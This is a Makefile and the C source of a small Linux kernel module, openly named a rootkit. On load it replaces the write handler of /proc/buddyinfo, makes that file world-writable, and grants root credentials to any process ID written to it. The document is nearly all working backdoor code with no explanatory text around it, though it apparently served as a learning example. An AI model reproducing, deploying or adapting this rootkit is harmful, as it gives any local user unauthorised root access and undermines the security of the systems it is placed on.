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obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
#include <linux/module.h> // included for all kernel modules
#include <linux/kernel.h> // included for KERN_INFO
#include <linux/init.h> // included for __init and __exit macros
#include <linux/proc_fs.h>
#include <linux/sched.h>
#define MODULE_NAME "rootkit"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Julia Evans");
MODULE_DESCRIPTION("The tiniest rootkit");
static struct file_operations handler_fops;
const struct file_operations *handler_original = 0;
struct proc_dir_entry *handler, *root;
// returns the task_struct associated with pid
struct task_struct *get_task_struct_by_pid(unsigned pid) {
struct pid *proc_pid = find_vpid(pid);
struct task_struct *task;
if(!proc_pid)
return 0;
task = pid_task(proc_pid, PIDTYPE_PID);
return task;
}
static ssize_t make_pid_root (
struct file *filp,
const char __user *data,
size_t sz,
loff_t *l)
{
char* dummy;
unsigned pid = (int) simple_strtol(data, &dummy, 10);
printk("YOU HAVE BEEN HACKED: Making PID %d root\n", pid);
struct task_struct *task = get_task_struct_by_pid(pid);
struct task_struct *init_task = get_task_struct_by_pid(1);
if(!task || !init_task)
return 1;
task->cred = init_task->cred;
return 1;
}
/**
* Infects /proc/buddyinfo with a device handler that sets
*/
void install_handler(struct proc_dir_entry *root) {
struct proc_dir_entry *ptr = root->subdir;
while(ptr && strcmp(ptr->name, "buddyinfo"))
ptr = ptr->next;
if(ptr) {
handler = ptr;
ptr->mode |= S_IWUGO;
handler_original = (struct file_operations*)ptr->proc_fops;
// create new handler
handler_fops = *ptr->proc_fops;
handler_fops.write = make_pid_root;
ptr->proc_fops = &handler_fops;
}
}
static int __init module_init_proc(void) {
static struct file_operations fileops_struct = {0};
struct proc_dir_entry *new_proc;
// dummy to get proc_dir_entry of /proc
new_proc = proc_create("dummy", 0644, 0, &fileops_struct);
root = new_proc->parent;
// install the handler to wait for orders...
install_handler(root);
// it's no longer required.
remove_proc_entry("dummy", 0);
return 0;
}
static int __init rootkit_init(void)
{
module_init_proc();
printk(KERN_INFO "Starting kernel module!\n");
return 0; // Non-zero return means that the module couldn't be loaded.
}
static void __exit rootkit_cleanup(void)
{
handler->proc_fops = handler_original;
printk(KERN_INFO "Cleaning up module.\n");
}
module_init(rootkit_init);
module_exit(rootkit_cleanup);
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